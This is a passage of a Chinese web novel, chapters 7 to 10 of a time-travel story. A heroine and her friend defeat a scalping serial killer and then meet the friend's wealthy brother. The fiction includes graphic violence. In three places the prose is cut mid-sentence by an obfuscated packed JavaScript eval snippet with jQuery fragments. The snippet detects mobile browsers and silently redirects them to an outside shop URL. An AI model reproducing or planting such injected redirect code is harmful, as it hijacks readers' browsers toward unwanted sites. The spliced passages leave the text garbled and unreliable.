他先是一愣,随即反应过来,脸上露出狰狞的笑容。 原来是强弩之末。 他左手撑地,很快便爬起来。 右手废了,但对付一个连站都站不稳的女孩,一只手足够了。 他要慢慢折磨她。先打断她的腿,再折断她的胳膊,然后当着她的面,把那只小老鼠的头皮剥下来。最后,再拧断她的脖子。 “小心!” 一声尖叫从头顶传来。 里德尔猛地抬头,看到凯瑟琳扒着检修口的边缘,正顺着铁梯连滚带爬地往下冲。 哇哦,小老鼠自己跑出来了。 他无声地咧开嘴,根本没把这个只会逃命尖叫的女孩放在眼里。 正好,省得再去找她了。 凯瑟琳捡起地上的钢管,挡在了李菲身前。 “你怎么样了?” “快!”李菲的声音几乎是从牙缝里挤出来的,“敲他的后膝窝,现在!” “后、后膝窝?哪里?”凯瑟琳满脸慌乱。 里德尔嗤笑一声,往前跨了一步,伸手就要去夺钢管。 却没料到,凯瑟琳的眼神突然变了,她心底积压了一晚的恐惧、绝望和愤怒,忽然在这一刻爆发出来。 “啊啊啊——” 她尖叫着举起钢管,用尽全身力气,朝着里德尔的太阳穴狠狠砸了下去。 一声闷响,里德尔的笑容僵在了脸上。 他难以置信地看着凯瑟琳,眼睛里满是错愕。 这只胆小鼠,居然敢打他? 剧痛从太阳穴蔓延开来,眼前阵阵发黑。他晃了晃身子,想要再说什么,却眼前一黑,“嘭”地倒在地上,彻底不动了。 凯瑟琳双臂抖得厉害,看着地上不知死活的里德尔,一时不知作何反应。 “走!我们必须尽快离开这里。” 一道冷静的女声传来,让凯瑟琳立刻清醒。 她连忙俯身,把李菲的胳膊架在自己肩上,咬着牙撑起她的重量。两人一瘸一拐地穿过罐区,钻进了树林。 树林里的路比来时漫长了十倍,李菲的每一步都像踩在刀尖上,肌肉的痉挛从小腿蔓延到大腿,整个人几乎挂在凯瑟琳身上。 但她们没有停。 “快到了。”凯瑟琳喘着粗气,声音里终于有了一丝颤抖的欣喜,“我看到光了……那是埃里克的车!” 透过稀疏的树干,已经能看到那辆二手轿车停在林外,车头灯还亮着,在黑暗中像一盏小小的灯塔。 “埃里克!”凯瑟琳挥起手,用尽全身力气朝那个方向喊,“埃里克——我们在这里——!” 车门推开了。 埃里克从驾驶座上跳下来,朝她们的方向跑了两步。他后脑勺上的纱布包得乱七八糟,脸色苍白,看到凯瑟琳的一刻,眼眶红了,张嘴想说什么。 可下一秒,他整个人僵在原地。 8. 第8章 埃里克的目光越过两人,死死盯着她们身后的树林深处,瞳孔骤然收缩,脸上的血色褪得一干二净。 凯瑟琳顺着他的目光转过头。 树林深处,一道歪歪斜斜的身影正朝她们走来。 是里德尔。 他头上的血糊了半张脸,左太阳穴肿起一个青紫色的大包,却依旧死死盯着她们。 月光从他背后照过来,把他的影子拉得扭曲飘忽,像索命的恶鬼。他咧开嘴,露出一口黄牙,发出嗬嗬的笑声。 “都齐了。”他舔了舔干裂的嘴唇,“真好。” 凯瑟琳猛地转头朝埃里克喊:“埃里克,快把车开过来!” 埃里克看着里德尔一步步走近,看着他脸上那股不死不休的疯狂,双腿开始剧烈打颤。他往后退了一步,又一步。 然后倏地转身,跌跌撞撞地跑回车门旁,拉开车门钻进去。 在发动机的轰鸣声中,汽车迅速调转方向,头也不回地朝着公路绝尘而去。 “埃里克!” 凯瑟琳的喊声卡在喉咙里,她不可置信地看着汽车消失的方向,脸上的血色全部褪尽,只剩下愕然与绝望。 她狠狠抹了一把脸,把李菲的胳膊架得更稳了。 “他去找警察了。” 她低声说,语气平静得可怕,“一定会来救我们的。” 李菲从她手里拿过那根沾了血的钢管,反手握住,然后轻轻拍了拍她的手背。 “凯瑟琳。”她说,声音很轻,却很稳,“他有没有去找警察,都不重要了。我们现在能靠的,只有自己。” 这句话也是李菲在警醒自己。 系统的【租借能力】虽然很有用,但不能因此产生依赖和侥幸心理,否则就像现在一样,把自己置身于险境。 凯瑟琳侧头看着她,嘴唇翕动了一下。 身后,里德尔的脚步声越来越近。枯枝断裂的脆响,灌木被拨开的沙沙声,还有他粗重的喘息声,像催命的鼓点。 他走得不快,因为他知道这两个猎物已经跑不动了。 “看到那棵树了吗?”李菲陡然压低声音,朝路边一棵歪脖子树的方向抬了抬下巴,“树干上缠的那根野藤,你去把它拉直,绕到树后面,贴地面拉紧,用枯叶盖住。要快!” 凯瑟琳顺着她的目光看过去,很快便明白了,她没有说话,只是用力点点头,转身朝那棵树飞快跑去。 李菲拄着钢管,独自转过身,面对着越来越近的里德尔。 男人脸上的狞笑越来越清晰。他没拿武器,大概是觉得对付两个连路都走不稳的女孩,根本不需要武器。 “刚才在罐区,你挺能打的。”里德尔舔了舔嘴唇,声音沙哑,“现在呢?连站都站不稳了吧?你的朋友都跑了,就剩你一个人。” “跑就跑了。”李菲往后挪了一步,暗暗咬牙,挺直腰背站稳,“都是些胆小鬼而已,对付你——” 李菲的目光中充满了不屑,“一只阴沟里的老鼠,我一个人,足够了!” “你找死!”里德尔被激怒。 李菲:“到底是谁找死,你说了不算!” 说着,她仿照上辈子看过的功夫片,脚尖在地面轻轻一划,双脚前后分开,右手握着钢管横在身前,左手虚握护在脸侧,摆出一个李小龙的经典起手式。 里德尔被李菲这突如其来的动作唬得一愣,脚下不由停住,警惕地看着李菲。 很快,他发现这个女孩的腿在发抖——李菲控制不住,肌肉痉挛的余波还在,每动一下,她的双腿都在打颤。 “狡猾的女孩,差点被你骗过去了!” 里德尔继续朝李菲走来,脸上露出志在必得的残忍笑容。 “你想拖延时间,等人来救你吗?呵呵呵,不会有人来了……” 李菲在心里估算着时间。 凯瑟琳那边应该已经准备好了。 眼看里德尔就要走到她跟前,李菲倏地转身,朝着歪脖子树的方向跑去。 “还想跑?” 里德尔立刻追了上来。 五米。四米。 李菲能听到身后沉重的脚步声,能感觉到他带起的风。她的腿在抖,肌肉痉挛的疼痛几乎要把她撕裂,但她咬着牙,一步都没停。 凯瑟琳已经绕到了树后,那根野藤被她拉直了,贴着地面,被枯叶盖住,在月光下根本看不出来。 藤蔓离地面大约十厘米,刚好卡在脚踝的高度。 三米。两米。 就在李菲的前脚即将跨过藤蔓的那一秒,她猛地朝侧面一闪,整个人扑倒在枯叶堆里,让开里德尔冲撞的路线。 里德尔收势不及,前脚踩在了绷紧的野藤上。 他前冲的巨大惯性全部作用在脚踝上,整个人像被绊倒的公牛,脸朝下狠狠摔在了地上,门牙磕在石头上,崩掉了半颗。 凯瑟琳死死拽着藤蔓的另一端,整个人往后仰,手指被粗糙的藤条勒出了血,但她咬着牙,死活不松手。 李菲撑着钢管爬起来,踉踉跄跄冲到里德尔身边。 里德尔正挣扎着要翻身,一只手撑着地面试图坐起来—— 钢管落下了来。 第一下砸在他没有受伤的那只手臂上。 一声骨头断裂的脆响。 里德尔发出一声撕心裂肺的惨叫。 现在,他的两只手都废了。 李菲还要再砸,胳膊却突然脱力,钢管差点掉在地上。 “让我来。” 凯瑟琳从树后走过来,从她手里接过钢管。 “后膝窝在哪里?” 李菲抬手指了指。 “OK,明白了。” 凯瑟琳眼睛亮得惊人,举起钢管,对准李菲所指的位置,狠狠砸了下去。 “啊 ——!!” 里德尔的惨叫声响彻树林。 “这一下,是替我自己砸的。” 她又砸了一下。 “这一下,是替埃里克,他本来不用变成懦夫。 第三下,她用尽了全身的力气,钢管直接砸断成两截。 “这一下,是替我的救命恩人,你差点杀了她。 里德尔躺在地上,双腿以诡异的角度弯折着,鲜血染红了身下的泥土。他再也动弹不得,只能发出断断续续的呻吟。 凯瑟琳扔掉手中的半截钢管,弯下腰,双手撑着膝盖,大口大口地喘气。 月光下,她的肩膀还在抖,但眼里的恐惧已经消失得无影无踪。 李菲再也撑不住,靠着橡树慢慢滑坐在地上。 凯瑟琳连忙过来扶她,“你怎么样?” “没事。”李菲摆摆手,扯出一个疲惫的笑,“就是没力气了。” “你刚才那个姿势,真的很酷。” 凯瑟琳吸了吸鼻子,忍不住笑了,“是华国功夫吗?” “我瞎摆的。”李菲说,“只是为了拖延时间。” 凯瑟琳愣了一下,然后哈哈大笑起来,笑着笑着,眼泪又掉了下来。她靠在李菲的肩膀上,哭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753419|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 肆无忌惮,把所有的委屈、恐惧和绝望,都哭了出来。 李菲没说话,只是轻轻拍了拍她的背。 夜空开始褪色。东边的天际线泛起第一缕灰白,树梢的轮廓渐渐清晰起来。一只鸟试探性地叫了一声,然后更多鸟加入进来。 凯瑟琳忽然轻声问了一句:“对了,你怎么会出现在油罐区?” “你们向里德尔救助时,我躲在他的卡车里。” “你在他的卡车里?怎么会?”凯瑟琳惊讶地看向李菲。 “说来话长。”李菲闭着眼,太阳穴的血管还在突突跳,“先欠着。等我们平安离开这里,我再告诉你。” “那我可以知道你的名字吗?” “李——”她顿了一下,“菲伊。叫我菲伊·温斯洛。” “菲伊。”凯瑟琳念了一遍,像是在把这个名字刻进脑子里,认真地看着她,“谢谢你,菲伊。虽然我很想说‘你本可以不用来’,但如果你没来,我现在估计已经死了。” 李菲没接话。 “他跑了。”凯瑟琳的声音很平静,平静得不像劫后余生,“他看到那个人出现在林子中,居然丢下我跑了。” “也许他真的去找警察了。”李菲接话道,语气里不带任何立场,只是陈述一个事实。 “也许吧。”凯瑟琳把脸埋在膝盖里,声音闷闷的,“但这和‘他跑了’,不矛盾。” “回去以后,立刻甩了他。”李菲说。 凯瑟琳沉默了整整五秒钟,然后笑了一声,笑得沙哑又痛快。 “好。” 天边的鱼肚白刚晕开一点,远处就传来了警笛声,由远及近,越来越清晰。红蓝交替的灯光穿透荒野的薄雾,落在两人脸上。 “警察!菲伊,是警察来了!” 凯瑟琳猛地抓住李菲的胳膊,声音里带着哭腔的狂喜。 李菲望着那片越来越近的光亮,紧绷了整整一夜的神经,终于彻底松了下来。 所有的力气在这一瞬间被抽干,她眼前一黑,身子一软,靠在凯瑟琳的肩膀上,彻底失去了意识。 再次睁开眼时,映入眼帘的是米白色的天花板,和一盏线条柔和的吸顶灯。阳光透过百叶窗的缝隙洒进来,在地板上投下长短不一的光影,微风轻轻拂过,空中飘来一股淡淡的花香。 这不是赫尔曼医院那种逼仄的三人间。 房间大得离谱,浅灰色的真皮沙发靠在墙边,旁边立着一个原木色的置物架,上面摆着几本杂志和一个复古唱片机。 独立卫浴的门半开着,能看到里面大理石的台面。床头柜上放着一束新鲜的白色洋桔梗,花瓣上还沾着水珠。 李菲动了动手指,浑身的肌肉依旧酸痛,但那种撕裂般的感觉已经减轻了很多。她刚想撑着坐起来,病房门就被推开了。 穿着白大褂的棕发女医生带着一个护士走了进来,看到她醒了,脸上露出温和的笑容:“温斯洛小姐,您终于醒了。感觉怎么样?有没有哪里不舒服?” 护士上前给她量了血压和体温,医生翻看着病历本,继续说道: “您已经昏睡了整整两天。主要是身体严重透支,加上肌肉微撕裂、脚踝扭伤,还有惊吓过度。 不过不用担心,各项指标都已恢复正常,再观察一天,明天就能出院。” 医生话音刚落,病房门再次被推开。 凯瑟琳拎着一个印着咖啡店logo的保温袋走进来,看到醒过来的李菲,眼睛一亮,快步上前:“菲伊!你终于醒了。” 9. 第9章 凯瑟琳把保温袋放在床头柜上,伸手轻轻碰了碰李菲的额头,确认不烧了,才松了口气: “太好了,烧退了。我问过护士,你刚醒不能吃太油的。就在楼下咖啡店买了蓝莓松饼和希腊酸奶,还有鲜榨的橙汁。” 医生笑着叮嘱几句注意事项,便带着护士轻手轻脚地带上门离开了。 “我们现在在哪?” 李菲拿起一块松饼咬了一口,甜而不腻的味道在嘴里化开,声音还有点沙哑。 “奥斯汀的圣玛丽医院。” 凯瑟琳拉开椅子坐在床边,把插好吸管的橙汁递给她。 李菲接过橙汁,慢慢吸了一口,问道:“我昏迷之后,里德尔怎么样了?” 提到里德尔,凯瑟琳的脸色瞬间沉了下来:“警察把他抓走了。他的货车你还记得吗?就是画着小丑图案的那辆,警察搜车的时候,在后车厢发现了一个上锁的木箱子。” 她打了个寒颤,声音带着后怕:“箱子里全是各式各样的发套,长的短的,金的棕的,每一根头发都是真的,包括下面的基底……也是真的,是从活人头上完整剥下来的头皮!整整七顶!他是恶魔、真正的恶魔!” “那个恶魔不是什么普通司机,而是自己开了个移动马戏团,就开着那辆货车,在得州、路易斯安那这些地方的小城镇里演出……警察怀疑他是个连环杀手,至少犯了七起命案,但他被抓之后一句话都不说,什么都不交代,案子还在查。” 凯瑟琳的声音越来越低,几乎变成了呢喃:“我一想到……要是你没救我,我现在也会变成他箱子里的一顶假发套,就浑身发冷。当时只是废了他的腿,真是太便宜他了!” 李菲握着杯子的手紧了紧,心中苦笑:她这是什么运气,想搭个便车,居然好死不死挑中了一个变态杀人魔的车。 自己怕不是误闯什么《美国恐怖故事》的世界吧? 久违的电子音冷不丁地冒出来: 【请宿主放心,这是真实的世界,并非任何影视文学衍生品。你只是遭遇了概率为 0.00017% 的极端事件。】 李菲:【这种小概率事件都被我撞上,我该不是什么柯南体质吧?】 系统:【请宿主相信科学。】 李菲:……你的存在本身就不科学。 “菲伊?菲伊你怎了?”凯瑟琳伸手在她眼前晃了晃,脸上满是担忧。 李菲猛地回过神,不好意思地笑了笑,“抱歉,刚刚走神了。” “我懂我懂!”凯瑟琳用力点头,一副感同身受的样子,“我刚知道这些的时候,整个人都傻了,做了一整晚的噩梦。不过你别担心,他这辈子都别想从监狱里出来了,绝对会受到最严厉的惩罚!” “肯定会的。” 李菲附和道。 “对了,”她放下杯子,看向凯瑟琳,“你是不好奇,我为什么会出现在里德尔的货车里吗?” 凯瑟琳的眼睛亮了一下,又很快暗下去,小心翼翼地问:“你现在……愿意说了吗?” “没什么不能说的。” 李菲微微一笑,避开了系统和穿越的事,把自己的遭遇一一道出。 从养父母被设计欠下赌债,葬身火海,到自己跳河被救,再到格雷假意收留实则要把她卖给蝎子帮,她逃出来后躲进里德尔的货车,一路九死一生。 她讲得很平静,像是在说别人的故事,可凯瑟琳却听得红了眼眶,眼泪止不住地往下掉。 “太过分了!他们怎么能这样对你!” 凯瑟琳攥紧拳头,气得浑身发抖,“那个格雷和蝎子帮的人,简直就是畜生!你一个人经历了这么多,太不容易了……” 她吸了吸鼻子,又想起埃里克,语气瞬间冷了下来:“说到这个,我就更恶心埃里克了。你都这么难了,还和我非亲非故,却能拼命救我,可他呢?竟然丢下我跑了!” “他后来的确去报警了。” 凯瑟琳嗤笑一声,满脸不屑,“警察说他是在跑到二十公里外的小镇,磨蹭了半个小时才报的警。昨天他还堵在医院门口求原谅,说他当时脑子一片空白,太害怕才跑的。” “然后呢?” 李菲问。 “然后?” 凯瑟琳扬起下巴,眼里闪过一丝快意,“我当着所有人的面,狠狠给了他一个耳光,告诉他我们完了。这种关键时刻能丢下女朋友逃命的男人,我可不敢要。” 正说着,病房门被敲响了。 两个穿着警服的警察走了进来,给李菲补做了笔录。得知她被蝎子帮追杀的事后,警察表示会和休斯顿警方联系,跟进这个案子,让她安心养伤。 警察准备离开时,李菲忽然想起了什么,开口叫住了他们:“等等,休斯顿北郊的那个废弃修理厂,就是我遇到里德尔的地方……或许你们可以去那里查查。当时里德尔从那里带回了一个背包。” 两名警察对视一眼,眼中闪过一丝光亮。 想要找到里德尔犯罪的证据,必须找到受害者的尸体和案发现场。仔细想想,这人大半夜地跑到一个废弃修理厂的行为,确实很可疑。 是得好好查查。 两人谢过李菲的提醒,随后告别离开了病房。 警察刚走没几分钟,病房门再次被推开。 一个身着西装的年轻男人走进来,身姿挺拔,气质干练,眼神锐利却分寸感极好。他先是对着凯瑟琳微微躬身,语气恭敬:“凯瑟琳小姐,老板让我来接您出院,顺便看看温斯洛小姐的情况。” 然后转向李菲,递出一张名片,声音沉稳有力:“温斯洛小姐,您好。我是伊森·弗里曼。” 李菲接过名片扫了一眼,上面印着 “南方信托银行总裁特助伊森·弗里曼” 的字样,右右下角是一个精致的鸢尾花纹章。 她疑惑地看了伊森一眼,又看向凯瑟琳。 伊森没等凯瑟琳开口,拍了拍手。几个穿着统一制服的佣人鱼贯而入,手里捧着大大小小的礼盒,整齐地摆放在沙发上。 “温斯洛小姐,这些是布鲁姆先生为您准备的衣物和日常用品,都是按您的尺码挑选的。” 伊森微笑着说,“布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753420|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 鲁姆先生非常感谢您救下了凯瑟琳小姐,今晚七点,在奥斯汀四季酒店订了包厢,想当面答谢您,请您务必赏脸。” 李菲看着满沙发的名牌礼盒,从鞋子、衣服到包包、配饰一应俱全,甚至连护肤品和香水都准备好了,感到有些懵。 “布鲁姆?”她突然想到凯瑟琳的姓氏,“凯瑟琳,布鲁姆先生是你的……?” 凯瑟琳心虚地抠着手指,不敢看李菲的眼睛,声音小小的:“那个…… 菲伊,我忘了说了……” “我家其实…… 算是有点钱。伊森口中的布鲁姆先生是我的哥哥,我家是亚特兰大的布鲁姆家族,南方信托银行是我家的产业之一。” 她抬起头,看着李菲,眼里满是歉意,“我不是故意要隐瞒你的,只是之前一直没找到合适的机会。而且我怕我说了,你就不愿意和我做朋友了,觉得我是在炫耀。” 李菲面上维持着镇定,内心已经开始疯狂吐槽: 不是吧不是吧?我这刚从恐怖片里出来,转头又误入霸总短剧片场了吗?前几天还在跟黑/帮打手拼命,与杀人魔斗智斗勇,现在却要上演豪门千金报恩剧情? 她之前看到凯瑟琳的香奈儿手包和迪奥香水时,就猜到她家境不错,只是没想到不是普通的有钱。 南方信托银行,原主的记忆里经常在财经频道看到,是美国南部有名的大银行之一。 “我这次……”凯瑟琳顿了顿,瞥了一眼旁边站着的伊森。 伊森立刻心领神会,微微躬身:“我在外面等您,有什么事随时叫我。” 说完便带着佣人轻手轻脚地退了出去,还顺手带上了门。 凯瑟琳这才继续道:“我这次是离家出走的。” 李菲挑了挑眉:猜中了。果然是富家女和穷小子私奔的经典桥段。 “我爸和阿尔……啊,就是我哥哥,他们都反对我和埃里克在一起,说他心术不正,不是真心喜欢我。我不信,就偷偷和埃里克约好,一起申请洛杉矶的南加州大学。 埃里克一直有闯荡好莱坞的梦想,他申请上了那里的戏剧专业,我对演戏没兴趣,就报了电影制作专业。9月开学,我们本来打算一路自驾去洛杉矶,没想到……” 她低下头,声音闷闷的:“现在想想,爸爸他们说的没错。是我太傻了,看错了人。” “没事。” 李菲伸手,轻轻拍了拍她的手背,半安慰半调侃道,“谁年轻时不会遇到几个渣男呢?” “渣男?”凯瑟琳第一次听到这个词。 李菲简单解释了“渣男”的意思,凯瑟琳眼睛一亮,用力点头附和:“对!就是这个!你形容得太准确了,他就是个彻头彻尾的渣男!” 看着凯瑟琳气鼓鼓的样子,李菲忍不住笑了。 阳光透过落地窗洒在她身上,暖洋洋的。 她看着眼前这个虽然有点傻气,却真诚得耀眼的女孩,紧绷了半个多月的肩膀终于慢慢放松下来。 或许,这个陌生的时空,并没有她想象的那么糟。 10. 第10章 婉拒了凯瑟琳想要陪同自己赴约后,李菲独自走到沙发前,看着琳琅满目的各式礼盒,陷入了沉思。 香奈儿的粗花呢套装、迪奥的真丝连衣裙、古驰的高跟鞋……每一件都价格不菲,也都很漂亮,却太张扬了。 最后,她挑了一条蔻驰的蓝色收腰连衣裙,款式简单大方,配一双白色平底皮鞋。 拿着衣服走进独立卫生间,李菲反手锁上门。 镜子里映出一张俏丽却稍显稚嫩的脸。 鹅蛋脸,颧骨处微微饱满,是东方骨相里最温和的一种轮廓。眉毛细软,鼻尖微翘,皮肤白皙,透着健康的粉,俨然一副被悉心呵护长大的邻家少女模样。 可那眼神不对。 本该是清澈温柔的杏眼,此刻眼尾微微上挑,乌黑的眸子里盛着几分冷冽,带着点不自觉的审视和疏离。 李菲抬手,轻轻抚上镜面,看着镜中陌生的脸庞,忽然在心里开口: 【系统,有一件事我一直忘了问你。】 【请讲。】 【这里还是我原来的世界吗?】 【是。】 李菲的指尖猛地一顿,声音带着一丝自己都没察觉的颤抖: 【那……未来还会有另一个“李菲”吗?】 【抱歉,这个问题我无法回答。】 心脏像是被一只无形的手轻轻攥了一下,有点发闷。她用力闭了闭眼,再睁开时,眼里的波动已经平复。 【菲伊,也就是这具身体的主人,她……去哪儿了?】 【宿主穿越前,原主菲伊?温斯洛已确认死亡。】 意料之中的答案,却还是让她心口微微一沉。 【我能穿越时空,在这具身体里活过来,是不是和你有关?】 这个问题在李菲心底盘绕许久了。此前一连串的变故,让她根本没有精力深究,现在总算找到喘息的空间,她想问个明白。 没想到系统半点没有隐瞒,回答得直白又干脆: 【宿主穿越时空、进入菲伊·温斯洛的身体里,纯属意外事件。】 ……也是。 菲伊在心里轻嗤一声。就这破系统嗜钱如命的德行,怎么可能花大力气让她重生,却不收钱的道理? 【至于菲伊·温斯洛,她一心求死,但实际寿命还剩80年。多重机缘巧合叠加之下,宿主的魂体恰好接入这具躯体,获得重生,这是八十亿分之一的小概率事件。】 所以,她的这趟魂穿,就是一场撞大运的意外? 【宿主还有其他问题吗?】 李菲沉默良久,最后低低自嘲一声,吐出三个字: “没有了。” 声音很轻,像是对自己说的。 就这样吧,再追问下去又有什么意义? 她这个来自异时空的孤魂野鬼,虽说侥幸得以重生,可这条命却已赊在系统那里了,如果5年后她拿不出10亿美刀来,终究难逃一死。 但……即便如此,她也会努力活下去,无论前路有多艰难! 或许这就是她和原主的最大区别。 小姑娘选择了离开,那她就替她,也替自己,好好活下去。 李菲转身,走出卫生间。 床头柜上的洋桔梗正无声盛开着,花簇边缘缀着几朵不起眼的白色小雏菊,她伸手捻下其中最小的一朵,别在连衣裙的领口。 动作很轻,像是顺手为之,又像是一场无声的告别。 从此刻起,她就是菲伊·温斯洛了。 *** 下午六点四十,奥斯汀四季酒店。 1990年的四季酒店,还带着八十年代末的古典奢华风。大堂铺着深红色的羊毛地毯,水晶吊灯垂下来,碎金似的光落在人脸上,暖得发闷。 侍者穿燕尾服,走路时腰杆挺得笔直,皮鞋蹭过地毯,连一点声音都没有,空气里飘着香槟的甜、玫瑰的香,以及雪茄淡淡的烟草味。 “温斯洛小姐,这边请。” 侍者微微躬身,领着菲伊走向电梯。 电梯直达顶楼餐厅。包厢位于走廊尽头,厚重的实木门上刻着精致的花纹。侍者敲了敲门,里面传来一声低沉的 “请进”。 门推开又合上,外面的喧嚣瞬间被隔绝。 包厢很大,落地窗外是奥斯汀的城市夜景,华灯初上,车流如织。 深色的橡木餐桌铺着洁白的桌布,上面摆着银质的餐具和水晶杯。 落地窗旁站着一个男人。 他背对房门,单手插兜凝眸望向窗外。浅金色短发,侧分,发丝服帖地倒向一侧,额前微微隆起一个恰好的弧度。鬓角推得干净,露出轮廓分明的颧骨和下颌。 身形高挑近一米九,肩宽腰窄,一身炭灰色定制西装贴合得体,后背肌理随着呼吸轻轻起伏,周身线条利落得宛若精工雕琢。 听到脚步声,他转过身来。 阿利斯泰尔·布鲁姆的目光落在她身上,顿了半秒。 眼前的女孩看着不过十五六岁,长得娇俏可爱,乍一看像是个一碰就碎的瓷娃娃。可她的眼神,却带着与年龄不符的冷静与警惕,像刚在雨夜里淋过的野猫,浑身竖着看不见的刺。 “你好,温斯洛小姐。” 他开口道,语速不快,声音低沉磁性,却带着一种淡淡的疏离感。 “你好,布鲁姆先生。” 菲伊微微颔首,走到他对面的椅子坐下,动作不紧不慢。 菲伊抬眼,不动声色地打量着面前的男人。 灰蓝色的眼睛里,没有露出丝毫情绪,看人的时候像在评估一件资产。 没打领带,衬衫扣子扣到第二颗,领口平整,不见半分褶皱。 单手入兜,唯独拇指轻露在外,指甲剪得很短而整洁——这般行事细节,足见其人掌控欲极强,极度排斥所有脱离掌控的变数。 话少,语速稳,说明他从不做没把握的事,每一句话都经过盘算。 和格雷那种用温和表象掩饰的贪婪不同,这人的精明藏在骨子里,是刻在精英教育里的冷静和算计。 侍者悄无声息地走进来,给两人倒上冰水,又退了出去。包厢里只剩下他们两个人,空气里带着一丝微妙的沉默。 阿利斯泰尔没有绕弯子,开门见山:“温斯洛小姐,我知道你现在的处境不太好。养父母意外身亡,被格雷·休出卖,欠了蝎子帮5万美元的债务。” 他说着,拿起桌上的水杯晃了晃,冰块撞在玻璃上,发出“叮”的一声轻响。 “……无亲无故,无家可归。”语气平淡得像在谈论天气。 菲伊不觉得被冒犯,换做是她,也会这么做。对于布鲁姆家这样的家族来说,任何接近他们家人的陌生人,都必须被彻底调查。 “你救了凯瑟琳。” 阿利斯泰尔放下水杯,抬眼看她,“布鲁姆家从不欠人情。你可以提一个条件,只要是我力所能及的,都可以满足你。债务,学业,房子,或者钱。你想要什么?” 他的语气很平静,却带着不容置疑的底气。仿佛只要李菲开口,无论是什么,他都能轻易办到。 菲伊端起面前的冰水,轻轻抿了一口。冰凉的液体滑过喉咙,让她的脑子更加清醒。 她现在最迫切的,确实是蝎子帮的威胁。五万美元的赌债,像一把悬在头顶的刀。 只要她点头,阿利斯泰尔一句话,格雷会被收拾,蝎子帮会退走,她不用再躲躲藏藏,不用再担心一睁眼就被人卖到墨西哥。 真是诱人啊。 菲伊的指尖微微收紧,玻璃杯壁被捏得发滑。 可她不能点头。 一旦她接受了这份帮助,就等于白白浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753421|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 费了一个好机会。 想要完成系统10亿美元的任务,老老实实地打工赚钱,别说5年,就算500年也攒不出来。 对于一个一穷二白、没有任何背景的人而言,想以最短的时间赚够如此天文数字,除了写进《刑法》的那些途径外,她能想到的无外乎两种。 一是赌。 二是借势。 赌是死路。穷小子去赌场里一鸣惊人,一夜暴富的神话只存在小说和电影中。 而现实……呵呵,原主一家就是最好的例子。 剩下的只有借势。 借别人的钱,借别人的资源,借别人的平台。 而布鲁姆家族,正是她目前能摸到的最高的梯子。 阿利斯泰尔?布鲁姆能给的,远不止5万美元。 菲伊很清楚,在这些资本家眼里,只有两种人值得他们花心思:一种是能给他们赚钱的,一种是能给他们消灾的。 她现在两者都不是,只是一个碰巧救了他妹妹的孤女。 如果她现在接受了他的施舍,就永远只能是那个 “被布鲁姆家帮过的女孩”,再也没有资格和他坐在同一张桌子上谈条件。 这个人情,不能这么用。 菲伊放下水杯,抬头看向阿利斯泰尔,眼神平静且坦荡:“布鲁姆先生,我救凯瑟琳,只是是因为当时我能救。换做任何一个有良知的人,都会那么做。我没想着要什么回报。” 阿利斯泰尔的手指在桌沿顿了一下。 他原本以为,这个女孩会哭着诉说自己的遭遇,会迫不及待地提出要求。毕竟他查过她的底,父母双亡,身负巨债,被□□追杀,走投无路。 任何一个处在她这个境地的人,都不会拒绝他开出的条件。 菲伊像是没看到他眼里的诧异,继续说道:“我承认,我现在确实很难,面临很多问题。” 她顿了顿,脸上里有丝毫的自卑和窘迫,“但这些问题,我有信心可以自己解决。如果真有一天,我拼尽全力也解决不了了,我会打伊森的电话找你。到时候,我不会跟你客气。” 她直视阿利斯泰尔的眼睛,郑重道:“我保证,届时提出的请求,一定不会妨碍布鲁姆家的利益,更不会伤害到凯瑟琳。” 阿利斯泰尔微微挑了挑眉。 这是他今天第一次露出明显的情绪波动。 他见过太多想要攀附布鲁姆家的人。有的故作清高,有的急功近利,有的哭惨卖穷。 却从来没有一个人,像她这样,明明身处泥沼,眼神却依旧清澈而坚定。 他忽然觉得,这个十六岁的女孩,比他调查到的要有趣得多。 “好。” 他收回目光,拿起桌上的刀叉,切向盘中的牛排,“先吃饭吧,菜要凉了。” 菲伊也不再多言,拿起刀叉,安静地吃起来。 包厢里只剩下刀叉碰撞的轻微声响。窗外的夜色越来越浓,城市的灯火在玻璃上折射出斑斓的光。 一顿饭吃得很快,也很安静。 阿利斯泰尔果然话很少,全程没有再提任何关于报酬的事。 用餐结束,阿利斯泰尔拿起椅背上的外套,站起身:“我还有个会,先走了。” 走到门口时,他停下脚步,回头看了菲伊一眼。 “如果你考虑好了,随时打伊森的电话。” “谢谢你,布鲁姆先生。” 菲伊微微颔首。 门轻轻合上。 包厢里只剩下菲伊一个人。 她走到落地窗前,看着楼下那辆黑色凯迪拉克缓缓驶离,汇入车流。 晚风从窗户缝里吹进来,拂起她的头发。 